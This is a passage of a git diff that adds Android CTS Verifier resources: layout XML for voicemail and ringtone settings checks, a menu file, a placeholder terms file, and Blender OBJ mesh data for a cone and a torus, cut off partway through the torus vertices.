+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_hidden"/>
+        <Button
+            android:id="@+id/settings_not_hidden"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_not_hidden"
+        />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/restore_default_dialer_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/restore_default_dialer_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_restore_default_dialer_description"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/restore_default_dialer"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_button"/>
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
new file mode 100644
index 0000000..56b815c
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/ringtone_settings_check_instructions"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/open_voicemail_settings_explanation"
+        android:textSize="16dp"/>
+    <Button
+        android:id="@+id/open_voicemail_settings"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/open_voicemail_settings"/>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <Button
+            android:id="@+id/settings_hidden"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/ringtone_hidden"/>
+        <Button
+            android:id="@+id/settings_not_hidden"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/ringtone_not_hidden"
+        />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/restore_default_dialer_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/restore_default_dialer_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_restore_default_dialer_description"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/restore_default_dialer"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_button"/>
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/menu/menu_cts.xml b/apps/CtsVerifier/res/menu/menu_cts.xml
new file mode 100644
index 0000000..f6a51b1
--- /dev/null
+++ b/apps/CtsVerifier/res/menu/menu_cts.xml
@@ -0,0 +1,8 @@
+<menu xmlns:android="http://schemas.android.com/apk/res/android"
+      xmlns:tools="http://schemas.android.com/tools"
+      tools:context=".Activities.TestActivity">
+    <item android:id="@+id/action_save_results" android:title="@string/save"
+          android:icon="@drawable/ic_save" android:showAsAction="ifRoom"/>
+    <item android:id="@+id/action_xml" android:title="@string/action_xml"
+          android:showAsAction="ifRoom"/>
+</menu>
diff --git a/apps/CtsVerifier/res/raw/company_terms_content.txt b/apps/CtsVerifier/res/raw/company_terms_content.txt
new file mode 100644
index 0000000..ca0623c
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/company_terms_content.txt
@@ -0,0 +1 @@
+Company Terms Content.
diff --git a/apps/CtsVerifier/res/raw/cone_obj b/apps/CtsVerifier/res/raw/cone_obj
new file mode 100644
index 0000000..c95136a
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/cone_obj
@@ -0,0 +1,132 @@
+# Blender v2.76 (sub 0) OBJ File: 'cone.blend'
+# www.blender.org
+o Cone
+v 0.000000 -0.075000 0.125000
+v 0.000000 -0.000000 -0.125000
+v 0.014632 -0.073559 0.125000
+v 0.028701 -0.069291 0.125000
+v 0.041668 -0.062360 0.125000
+v 0.053033 -0.053033 0.125000
+v 0.062360 -0.041668 0.125000
+v 0.069291 -0.028701 0.125000
+v 0.073559 -0.014632 0.125000
+v 0.075000 -0.000000 0.125000
+v 0.073559 0.014632 0.125000
+v 0.069291 0.028701 0.125000
+v 0.062360 0.041668 0.125000
+v 0.053033 0.053033 0.125000
+v 0.041668 0.062360 0.125000
+v 0.028701 0.069291 0.125000
+v 0.014632 0.073559 0.125000
+v -0.000000 0.075000 0.125000
+v -0.014632 0.073559 0.125000
+v -0.028701 0.069291 0.125000
+v -0.041668 0.062360 0.125000
+v -0.053033 0.053033 0.125000
+v -0.062360 0.041668 0.125000
+v -0.069291 0.028701 0.125000
+v -0.073559 0.014632 0.125000
+v -0.075000 -0.000000 0.125000
+v -0.073559 -0.014632 0.125000
+v -0.069291 -0.028701 0.125000
+v -0.062360 -0.041668 0.125000
+v -0.053033 -0.053033 0.125000
+v -0.041668 -0.062360 0.125000
+v -0.028701 -0.069291 0.125000
+v -0.014632 -0.073559 0.125000
+vn -0.278200 -0.916900 -0.286100
+vn 0.093900 -0.953600 -0.286100
+vn -0.451700 -0.845100 -0.286100
+vn -0.607900 -0.740700 -0.286100
+vn -0.740700 -0.607900 -0.286100
+vn -0.845100 -0.451700 -0.286100
+vn -0.916900 -0.278200 -0.286100
+vn -0.953600 -0.093900 -0.286100
+vn -0.953600 0.093900 -0.286100
+vn -0.916900 0.278200 -0.286100
+vn -0.845100 0.451700 -0.286100
+vn -0.740700 0.607900 -0.286100
+vn -0.607900 0.740700 -0.286100
+vn -0.451700 0.845100 -0.286100
+vn -0.278200 0.916900 -0.286100
+vn -0.093900 0.953600 -0.286100
+vn 0.093900 0.953600 -0.286100
+vn 0.278200 0.916900 -0.286100
+vn 0.451700 0.845100 -0.286100
+vn 0.607900 0.740700 -0.286100
+vn 0.740700 0.607900 -0.286100
+vn 0.845100 0.451700 -0.286100
+vn 0.916900 0.278200 -0.286100
+vn 0.953600 0.093900 -0.286100
+vn 0.953600 -0.093900 -0.286100
+vn 0.916900 -0.278200 -0.286100
+vn 0.845100 -0.451700 -0.286100
+vn 0.740700 -0.607900 -0.286100
+vn 0.607900 -0.740700 -0.286100
+vn 0.451700 -0.845100 -0.286100
+vn -0.093900 -0.953600 -0.286100
+vn 0.278200 -0.916900 -0.286100
+vn 0.000000 0.000000 1.000000
+s off
+f 32//1 2//1 33//1
+f 1//2 2//2 3//2
+f 31//3 2//3 32//3
+f 30//4 2//4 31//4
+f 29//5 2//5 30//5
+f 28//6 2//6 29//6
+f 27//7 2//7 28//7
+f 26//8 2//8 27//8
+f 25//9 2//9 26//9
+f 24//10 2//10 25//10
+f 23//11 2//11 24//11
+f 22//12 2//12 23//12
+f 21//13 2//13 22//13
+f 20//14 2//14 21//14
+f 19//15 2//15 20//15
+f 18//16 2//16 19//16
+f 17//17 2//17 18//17
+f 16//18 2//18 17//18
+f 15//19 2//19 16//19
+f 14//20 2//20 15//20
+f 13//21 2//21 14//21
+f 12//22 2//22 13//22
+f 11//23 2//23 12//23
+f 10//24 2//24 11//24
+f 9//25 2//25 10//25
+f 8//26 2//26 9//26
+f 7//27 2//27 8//27
+f 6//28 2//28 7//28
+f 5//29 2//29 6//29
+f 4//30 2//30 5//30
+f 33//31 2//31 1//31
+f 3//32 2//32 4//32
+f 17//33 25//33 9//33
+f 33//33 1//33 3//33
+f 3//33 4//33 5//33
+f 5//33 6//33 7//33
+f 7//33 8//33 5//33
+f 9//33 10//33 13//33
+f 11//33 12//33 13//33
+f 13//33 14//33 15//33
+f 15//33 16//33 17//33
+f 17//33 18//33 19//33
+f 19//33 20//33 21//33
+f 21//33 22//33 23//33
+f 23//33 24//33 25//33
+f 25//33 26//33 27//33
+f 27//33 28//33 29//33
+f 29//33 30//33 31//33
+f 31//33 32//33 33//33
+f 33//33 3//33 9//33
+f 5//33 8//33 9//33
+f 10//33 11//33 13//33
+f 13//33 15//33 9//33
+f 17//33 19//33 25//33
+f 21//33 23//33 25//33
+f 25//33 27//33 33//33
+f 29//33 31//33 33//33
+f 3//33 5//33 9//33
+f 9//33 15//33 17//33
+f 19//33 21//33 25//33
+f 27//33 29//33 33//33
+f 33//33 9//33 25//33
diff --git a/apps/CtsVerifier/res/raw/ring_obj b/apps/CtsVerifier/res/raw/ring_obj
new file mode 100644
index 0000000..01b6e7c
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/ring_obj
@@ -0,0 +1,8144 @@
+# Blender v2.76 (sub 0) OBJ File: 'ring3.blend'
+# www.blender.org
+mtllib ring.mtl
+o Torus
+v 0.172500 0.000000 0.000000
+v 0.171733 -0.000000 0.005823
+v 0.169486 -0.000000 0.011250
+v 0.165910 -0.000000 0.015910
+v 0.161250 -0.000000 0.019486
+v 0.155823 -0.000000 0.021733
+v 0.150000 -0.000000 0.022500
+v 0.144177 -0.000000 0.021733
+v 0.138750 -0.000000 0.019486
+v 0.134090 -0.000000 0.015910
+v 0.130514 -0.000000 0.011250
+v 0.128267 -0.000000 0.005823
+v 0.127500 -0.000000 0.000000
+v 0.128267 0.000000 -0.005823
+v 0.130514 0.000000 -0.011250
+v 0.134090 0.000000 -0.015910
+v 0.138750 0.000000 -0.019486
+v 0.144177 0.000000 -0.021733
+v 0.150000 0.000000 -0.022500
+v 0.155823 0.000000 -0.021733
+v 0.161250 0.000000 -0.019486
+v 0.165910 0.000000 -0.015910
+v 0.169486 0.000000 -0.011250
+v 0.171733 0.000000 -0.005823
+v 0.172131 0.011282 0.000000
+v 0.171366 0.011232 0.005823
+v 0.169123 0.011085 0.011250
+v 0.165555 0.010851 0.015910
+v 0.160905 0.010546 0.019486
+v 0.155490 0.010191 0.021733
+v 0.149679 0.009810 0.022500
+v 0.143868 0.009430 0.021733
+v 0.138453 0.009075 0.019486
+v 0.133803 0.008770 0.015910
+v 0.130235 0.008536 0.011250
+v 0.127992 0.008389 0.005823
+v 0.127227 0.008339 0.000000
+v 0.127992 0.008389 -0.005823
+v 0.130235 0.008536 -0.011250
+v 0.133803 0.008770 -0.015910
+v 0.138453 0.009075 -0.019486
+v 0.143868 0.009430 -0.021733
+v 0.149679 0.009810 -0.022500
+v 0.155490 0.010191 -0.021733
+v 0.160905 0.010546 -0.019486
+v 0.165555 0.010851 -0.015910
+v 0.169123 0.011085 -0.011250
+v 0.171366 0.011232 -0.005823
+v 0.171024 0.022516 0.000000
+v 0.170264 0.022416 0.005823
+v 0.168036 0.022122 0.011250
+v 0.164491 0.021656 0.015910
+v 0.159871 0.021047 0.019486
+v 0.154490 0.020339 0.021733
+v 0.148717 0.019579 0.022500
+v 0.142943 0.018819 0.021733
+v 0.137563 0.018111 0.019486
+v 0.132943 0.017502 0.015910
+v 0.129398 0.017036 0.011250
+v 0.127169 0.016742 0.005823
+v 0.126409 0.016642 0.000000
+v 0.127169 0.016742 -0.005823
+v 0.129398 0.017036 -0.011250
+v 0.132943 0.017502 -0.015910
+v 0.137563 0.018111 -0.019486
+v 0.142943 0.018819 -0.021733
+v 0.148717 0.019579 -0.022500
+v 0.154490 0.020339 -0.021733
+v 0.159871 0.021047 -0.019486
+v 0.164491 0.021656 -0.015910
+v 0.168036 0.022122 -0.011250
+v 0.170264 0.022416 -0.005823
+v 0.169185 0.033653 0.000000
+v 0.168434 0.033504 0.005823
+v 0.166229 0.033065 0.011250
+v 0.162722 0.032367 0.015910
+v 0.158152 0.031458 0.019486
+v 0.152829 0.030400 0.021733
+v 0.147118 0.029264 0.022500
+v 0.141406 0.028127 0.021733
+v 0.136084 0.027069 0.019486
+v 0.131514 0.026160 0.015910
+v 0.128007 0.025462 0.011250
+v 0.125802 0.025024 0.005823
+v 0.125050 0.024874 0.000000
+v 0.125802 0.025024 -0.005823
+v 0.128007 0.025462 -0.011250
+v 0.131514 0.026160 -0.015910
+v 0.136084 0.027069 -0.019486
+v 0.141406 0.028127 -0.021733
+v 0.147118 0.029264 -0.022500
+v 0.152829 0.030400 -0.021733
+v 0.158152 0.031458 -0.019486
+v 0.162722 0.032367 -0.015910
+v 0.166229 0.033065 -0.011250
+v 0.168434 0.033504 -0.005823
+v 0.166622 0.044646 0.000000
+v 0.165882 0.044448 0.005823
+v 0.163711 0.043866 0.011250
+v 0.160257 0.042941 0.015910
+v 0.155756 0.041735 0.019486
+v 0.150514 0.040330 0.021733
+v 0.144889 0.038823 0.022500
+v 0.139264 0.037316 0.021733
+v 0.134022 0.035911 0.019486
+v 0.129521 0.034705 0.015910
+v 0.126067 0.033780 0.011250
+v 0.123896 0.033198 0.005823
+v 0.123156 0.032999 0.000000
+v 0.123896 0.033198 -0.005823
+v 0.126067 0.033780 -0.011250
+v 0.129521 0.034705 -0.015910
+v 0.134022 0.035911 -0.019486
+v 0.139264 0.037316 -0.021733
+v 0.144889 0.038823 -0.022500
+v 0.150514 0.040330 -0.021733
+v 0.155756 0.041735 -0.019486
+v 0.160257 0.042941 -0.015910
+v 0.163711 0.043866 -0.011250
+v 0.165882 0.044448 -0.005823
+v 0.163345 0.055448 0.000000
+v 0.162619 0.055202 0.005823
+v 0.160491 0.054479 0.011250
+v 0.157105 0.053330 0.015910
+v 0.152692 0.051832 0.019486
+v 0.147554 0.050088 0.021733
+v 0.142040 0.048216 0.022500
+v 0.136525 0.046344 0.021733
+v 0.131387 0.044600 0.019486
+v 0.126974 0.043102 0.015910
+v 0.123588 0.041952 0.011250
+v 0.121460 0.041230 0.005823
+v 0.120734 0.040984 0.000000
+v 0.121460 0.041230 -0.005823
+v 0.123588 0.041952 -0.011250
+v 0.126974 0.043102 -0.015910
+v 0.131387 0.044600 -0.019486
+v 0.136525 0.046344 -0.021733
+v 0.142040 0.048216 -0.022500
+v 0.147554 0.050088 -0.021733
+v 0.152692 0.051832 -0.019486
+v 0.157105 0.053330 -0.015910
+v 0.160491 0.054479 -0.011250
+v 0.162619 0.055202 -0.005823
+v 0.159369 0.066013 0.000000
+v 0.158661 0.065719 0.005823
+v 0.156584 0.064859 0.011250
+v 0.153281 0.063491 0.015910
+v 0.148976 0.061708 0.019486
+v 0.143962 0.059631 0.021733
+v 0.138582 0.057403 0.022500
+v 0.133202 0.055174 0.021733
+v 0.128188 0.053097 0.019486
+v 0.123883 0.051314 0.015910
+v 0.120580 0.049946 0.011250
+v 0.118503 0.049086 0.005823
+v 0.117795 0.048792 0.000000
+v 0.118503 0.049086 -0.005823
+v 0.120580 0.049946 -0.011250
+v 0.123883 0.051314 -0.015910
+v 0.128188 0.053097 -0.019486
+v 0.133202 0.055174 -0.021733
+v 0.138582 0.057403 -0.022500
+v 0.143962 0.059631 -0.021733
+v 0.148976 0.061708 -0.019486
+v 0.153281 0.063491 -0.015910
+v 0.156584 0.064859 -0.011250
+v 0.158661 0.065719 -0.005823
+v 0.154711 0.076295 0.000000
+v 0.154023 0.075956 0.005823
+v 0.152007 0.074962 0.011250
+v 0.148800 0.073380 0.015910
+v 0.144621 0.071319 0.019486
+v 0.139754 0.068919 0.021733
+v 0.134531 0.066343 0.022500
+v 0.129308 0.063768 0.021733
+v 0.124441 0.061368 0.019486
+v 0.120262 0.059307 0.015910
+v 0.117055 0.057725 0.011250
+v 0.115039 0.056731 0.005823
+v 0.114351 0.056392 0.000000
+v 0.115039 0.056731 -0.005823
+v 0.117055 0.057725 -0.011250
+v 0.120262 0.059307 -0.015910
+v 0.124441 0.061368 -0.019486
+v 0.129308 0.063768 -0.021733
+v 0.134531 0.066343 -0.022500
+v 0.139754 0.068919 -0.021733
+v 0.144621 0.071319 -0.019486
+v 0.148800 0.073380 -0.015910
+v 0.152007 0.074962 -0.011250
+v 0.154023 0.075956 -0.005823
+v 0.149389 0.086250 0.000000
+v 0.148725 0.085867 0.005823
+v 0.146779 0.084743 0.011250
+v 0.143682 0.082955 0.015910
+v 0.139647 0.080625 0.019486
+v 0.134947 0.077912 0.021733
+v 0.129904 0.075000 0.022500
+v 0.124861 0.072088 0.021733
+v 0.120161 0.069375 0.019486
+v 0.116125 0.067045 0.015910
+v 0.113029 0.065257 0.011250
+v 0.111082 0.064133 0.005823
+v 0.110418 0.063750 0.000000
+v 0.111082 0.064133 -0.005823
+v 0.113029 0.065257 -0.011250
+v 0.116125 0.067045 -0.015910
+v 0.120161 0.069375 -0.019486
+v 0.124861 0.072088 -0.021733
+v 0.129904 0.075000 -0.022500
+v 0.134947 0.077912 -0.021733
+v 0.139647 0.080625 -0.019486
+v 0.143682 0.082955 -0.015910
+v 0.146779 0.084743 -0.011250
+v 0.148725 0.085867 -0.005823
+v 0.143429 0.095836 0.000000
+v 0.142791 0.095410 0.005823
+v 0.140922 0.094161 0.011250
+v 0.137949 0.092175 0.015910
+v 0.134074 0.089586 0.019486
+v 0.129562 0.086571 0.021733
+v 0.124720 0.083336 0.022500
+v 0.119878 0.080100 0.021733
+v 0.115366 0.077085 0.019486
+v 0.111492 0.074496 0.015910
+v 0.108519 0.072510 0.011250
+v 0.106650 0.071261 0.005823
+v 0.106012 0.070835 0.000000
+v 0.106650 0.071261 -0.005823
+v 0.108519 0.072510 -0.011250
+v 0.111492 0.074496 -0.015910
+v 0.115366 0.077085 -0.019486
+v 0.119878 0.080100 -0.021733
+v 0.124720 0.083336 -0.022500
+v 0.129562 0.086571 -0.021733
+v 0.134074 0.089586 -0.019486
+v 0.137949 0.092175 -0.015910
+v 0.140922 0.094161 -0.011250
+v 0.142791 0.095410 -0.005823
+v 0.136853 0.105011 0.000000
+v 0.136245 0.104545 0.005823
+v 0.134462 0.103176 0.011250
+v 0.131625 0.101000 0.015910
+v 0.127928 0.098163 0.019486
+v 0.123623 0.094859 0.021733
+v 0.119003 0.091314 0.022500
+v 0.114383 0.087769 0.021733
+v 0.110078 0.084466 0.019486
+v 0.106381 0.081629 0.015910
+v 0.103544 0.079452 0.011250
+v 0.101761 0.078084 0.005823
+v 0.101153 0.077617 0.000000
+v 0.101761 0.078084 -0.005823
+v 0.103544 0.079452 -0.011250
+v 0.106381 0.081629 -0.015910
+v 0.110078 0.084466 -0.019486
+v 0.114383 0.087769 -0.021733
+v 0.119003 0.091314 -0.022500
+v 0.123623 0.094859 -0.021733
+v 0.127928 0.098163 -0.019486
+v 0.131625 0.101000 -0.015910
+v 0.134462 0.103176 -0.011250
+v 0.136245 0.104545 -0.005823
+v 0.129692 0.113737 0.000000
+v 0.129116 0.113232 0.005823
+v 0.127426 0.111750 0.011250
+v 0.124738 0.109392 0.015910
+v 0.121234 0.106320 0.019486
+v 0.117154 0.102742 0.021733
+v 0.112776 0.098902 0.022500
+v 0.108398 0.095062 0.021733
+v 0.104318 0.091484 0.019486
+v 0.100814 0.088412 0.015910
+v 0.098126 0.086054 0.011250
+v 0.096436 0.084572 0.005823
+v 0.095860 0.084067 0.000000
+v 0.096436 0.084572 -0.005823
+v 0.098126 0.086054 -0.011250
+v 0.100814 0.088412 -0.015910
+v 0.104318 0.091484 -0.019486
+v 0.108398 0.095062 -0.021733
+v 0.112776 0.098902 -0.022500
+v 0.117154 0.102742 -0.021733
+v 0.121234 0.106320 -0.019486
+v 0.124738 0.109392 -0.015910
+v 0.127426 0.111750 -0.011250
+v 0.129116 0.113232 -0.005823
+v 0.121976 0.121976 0.000000
+v 0.121434 0.121434 0.005823
+v 0.119844 0.119844 0.011250
+v 0.117316 0.117316 0.015910
+v 0.114021 0.114021 0.019486
+v 0.110184 0.110184 0.021733
+v 0.106066 0.106066 0.022500
+v 0.101948 0.101948 0.021733
+v 0.098111 0.098111 0.019486
+v 0.094816 0.094816 0.015910
+v 0.092288 0.092288 0.011250
+v 0.090698 0.090698 0.005823
+v 0.090156 0.090156 0.000000
+v 0.090698 0.090698 -0.005823
+v 0.092288 0.092288 -0.011250
+v 0.094816 0.094816 -0.015910
+v 0.098111 0.098111 -0.019486
+v 0.101948 0.101948 -0.021733
+v 0.106066 0.106066 -0.022500
+v 0.110184 0.110184 -0.021733
+v 0.114021 0.114021 -0.019486
+v 0.117316 0.117316 -0.015910
+v 0.119844 0.119844 -0.011250
+v 0.121434 0.121434 -0.005823
+v 0.113737 0.129692 0.000000
+v 0.113232 0.129116 0.005823
+v 0.111750 0.127426 0.011250
+v 0.109392 0.124738 0.015910
+v 0.106320 0.121234 0.019486
+v 0.102742 0.117154 0.021733
+v 0.098902 0.112776 0.022500
+v 0.095062 0.108398 0.021733
+v 0.091484 0.104318 0.019486
+v 0.088412 0.100814 0.015910
+v 0.086054 0.098126 0.011250
+v 0.084572 0.096436 0.005823
+v 0.084067 0.095860 0.000000
+v 0.084572 0.096436 -0.005823
+v 0.086054 0.098126 -0.011250
+v 0.088412 0.100814 -0.015910
+v 0.091484 0.104318 -0.019486
+v 0.095062 0.108398 -0.021733
+v 0.098902 0.112776 -0.022500
+v 0.102742 0.117154 -0.021733
+v 0.106320 0.121234 -0.019486
+v 0.109392 0.124738 -0.015910
+v 0.111750 0.127426 -0.011250
+v 0.113232 0.129116 -0.005823
+v 0.105011 0.136853 0.000000
+v 0.104545 0.136245 0.005823
+v 0.103176 0.134462 0.011250
+v 0.101000 0.131625 0.015910
+v 0.098163 0.127928 0.019486
+v 0.094859 0.123623 0.021733
+v 0.091314 0.119003 0.022500
+v 0.087769 0.114383 0.021733
+v 0.084466 0.110078 0.019486
+v 0.081629 0.106381 0.015910
+v 0.079452 0.103544 0.011250
+v 0.078084 0.101761 0.005823
+v 0.077617 0.101153 0.000000
+v 0.078084 0.101761 -0.005823
+v 0.079452 0.103544 -0.011250
+v 0.081629 0.106381 -0.015910
+v 0.084466 0.110078 -0.019486
+v 0.087769 0.114383 -0.021733
+v 0.091314 0.119003 -0.022500
+v 0.094859 0.123623 -0.021733
+v 0.098163 0.127928 -0.019486
+v 0.101000 0.131625 -0.015910
+v 0.103176 0.134462 -0.011250
+v 0.104545 0.136245 -0.005823
+v 0.095836 0.143429 0.000000
+v 0.095410 0.142791 0.005823
+v 0.094161 0.140922 0.011250
+v 0.092175 0.137949 0.015910
+v 0.089586 0.134074 0.019486
+v 0.086571 0.129562 0.021733
+v 0.083336 0.124720 0.022500
+v 0.080100 0.119878 0.021733
+v 0.077085 0.115366 0.019486
+v 0.074496 0.111492 0.015910
+v 0.072510 0.108519 0.011250
+v 0.071261 0.106650 0.005823
+v 0.070835 0.106012 0.000000
+v 0.071261 0.106650 -0.005823
+v 0.072510 0.108519 -0.011250
+v 0.074496 0.111492 -0.015910
+v 0.077085 0.115366 -0.019486
+v 0.080100 0.119878 -0.021733
+v 0.083336 0.124720 -0.022500
+v 0.086571 0.129562 -0.021733
+v 0.089586 0.134074 -0.019486
+v 0.092175 0.137949 -0.015910
+v 0.094161 0.140922 -0.011250
+v 0.095410 0.142791 -0.005823
+v 0.086250 0.149389 0.000000
+v 0.085867 0.148725 0.005823
+v 0.084743 0.146779 0.011250
+v 0.082955 0.143682 0.015910
+v 0.080625 0.139647 0.019486
+v 0.077912 0.134947 0.021733
+v 0.075000 0.129904 0.022500
+v 0.072088 0.124861 0.021733
+v 0.069375 0.120161 0.019486
+v 0.067045 0.116125 0.015910
+v 0.065257 0.113029 0.011250
+v 0.064133 0.111082 0.005823
+v 0.063750 0.110418 0.000000
+v 0.064133 0.111082 -0.005823
+v 0.065257 0.113029 -0.011250
+v 0.067045 0.116125 -0.015910
+v 0.069375 0.120161 -0.019486
+v 0.072088 0.124861 -0.021733
+v 0.075000 0.129904 -0.022500
+v 0.077912 0.134947 -0.021733
+v 0.080625 0.139647 -0.019486
+v 0.082955 0.143682 -0.015910
+v 0.084743 0.146779 -0.011250
+v 0.085867 0.148725 -0.005823
+v 0.076295 0.154711 0.000000
+v 0.075956 0.154023 0.005823
+v 0.074962 0.152007 0.011250
+v 0.073380 0.148800 0.015910
+v 0.071319 0.144621 0.019486
+v 0.068919 0.139754 0.021733
+v 0.066343 0.134531 0.022500
+v 0.063768 0.129308 0.021733
+v 0.061368 0.124441 0.019486
+v 0.059307 0.120262 0.015910
+v 0.057725 0.117055 0.011250
+v 0.056731 0.115039 0.005823
+v 0.056392 0.114351 0.000000
+v 0.056731 0.115039 -0.005823
+v 0.057725 0.117055 -0.011250
+v 0.059307 0.120262 -0.015910
+v 0.061368 0.124441 -0.019486
+v 0.063768 0.129308 -0.021733
+v 0.066343 0.134531 -0.022500
+v 0.068919 0.139754 -0.021733
+v 0.071319 0.144621 -0.019486
+v 0.073380 0.148800 -0.015910
+v 0.074962 0.152007 -0.011250
+v 0.075956 0.154023 -0.005823
+v 0.066013 0.159369 0.000000
+v 0.065720 0.158661 0.005823
+v 0.064859 0.156584 0.011250
+v 0.063491 0.153281 0.015910
+v 0.061708 0.148976 0.019486
+v 0.059631 0.143962 0.021733
+v 0.057403 0.138582 0.022500
+v 0.055174 0.133202 0.021733
+v 0.053097 0.128188 0.019486
+v 0.051314 0.123883 0.015910
+v 0.049946 0.120580 0.011250
+v 0.049086 0.118503 0.005823
+v 0.048792 0.117795 0.000000
+v 0.049086 0.118503 -0.005823
+v 0.049946 0.120580 -0.011250
+v 0.051314 0.123883 -0.015910
+v 0.053097 0.128188 -0.019486
+v 0.055174 0.133202 -0.021733
+v 0.057403 0.138582 -0.022500
+v 0.059631 0.143962 -0.021733
+v 0.061708 0.148976 -0.019486
+v 0.063491 0.153281 -0.015910
+v 0.064859 0.156584 -0.011250
+v 0.065720 0.158661 -0.005823
+v 0.055448 0.163345 0.000000
+v 0.055202 0.162619 0.005823
+v 0.054479 0.160491 0.011250
+v 0.053330 0.157105 0.015910
+v 0.051832 0.152692 0.019486
+v 0.050088 0.147554 0.021733
+v 0.048216 0.142040 0.022500
+v 0.046344 0.136525 0.021733
+v 0.044600 0.131387 0.019486
+v 0.043102 0.126974 0.015910
+v 0.041952 0.123588 0.011250
+v 0.041230 0.121460 0.005823
+v 0.040984 0.120734 0.000000
+v 0.041230 0.121460 -0.005823
+v 0.041952 0.123588 -0.011250
+v 0.043102 0.126974 -0.015910
+v 0.044600 0.131387 -0.019486
+v 0.046344 0.136525 -0.021733
+v 0.048216 0.142040 -0.022500
+v 0.050088 0.147554 -0.021733
+v 0.051832 0.152692 -0.019486
+v 0.053330 0.157105 -0.015910
+v 0.054479 0.160491 -0.011250
+v 0.055202 0.162619 -0.005823
+v 0.044646 0.166622 0.000000
+v 0.044448 0.165882 0.005823
+v 0.043866 0.163710 0.011250
+v 0.042941 0.160257 0.015910
+v 0.041735 0.155756 0.019486
+v 0.040330 0.150514 0.021733
+v 0.038823 0.144889 0.022500
+v 0.037316 0.139264 0.021733
+v 0.035911 0.134022 0.019486
+v 0.034705 0.129521 0.015910
+v 0.033780 0.126067 0.011250
+v 0.033198 0.123896 0.005823
+v 0.032999 0.123156 0.000000
+v 0.033198 0.123896 -0.005823
+v 0.033780 0.126067 -0.011250
+v 0.034705 0.129521 -0.015910
+v 0.035911 0.134022 -0.019486
+v 0.037316 0.139264 -0.021733
+v 0.038823 0.144889 -0.022500
+v 0.040330 0.150514 -0.021733
+v 0.041735 0.155756 -0.019486
+v 0.042941 0.160257 -0.015910
+v 0.043866 0.163710 -0.011250
+v 0.044448 0.165882 -0.005823
+v 0.033653 0.169185 0.000000
+v 0.033504 0.168434 0.005823
+v 0.033065 0.166229 0.011250
+v 0.032367 0.162722 0.015910
+v 0.031458 0.158152 0.019486
+v 0.030400 0.152829 0.021733
+v 0.029264 0.147118 0.022500
+v 0.028127 0.141406 0.021733
+v 0.027069 0.136084 0.019486
+v 0.026160 0.131514 0.015910
+v 0.025462 0.128007 0.011250
+v 0.025024 0.125802 0.005823
+v 0.024874 0.125050 0.000000
+v 0.025024 0.125802 -0.005823
+v 0.025462 0.128007 -0.011250
+v 0.026160 0.131514 -0.015910
+v 0.027069 0.136084 -0.019486
+v 0.028127 0.141406 -0.021733
+v 0.029264 0.147118 -0.022500
+v 0.030400 0.152829 -0.021733
+v 0.031458 0.158152 -0.019486
+v 0.032367 0.162722 -0.015910
+v 0.033065 0.166229 -0.011250
+v 0.033504 0.168434 -0.005823
+v 0.022516 0.171024 0.000000
+v 0.022416 0.170264 0.005823
+v 0.022122 0.168036 0.011250
+v 0.021656 0.164491 0.015910
+v 0.021047 0.159871 0.019486
+v 0.020339 0.154490 0.021733
+v 0.019579 0.148717 0.022500
+v 0.018819 0.142943 0.021733
+v 0.018110 0.137563 0.019486
+v 0.017502 0.132943 0.015910
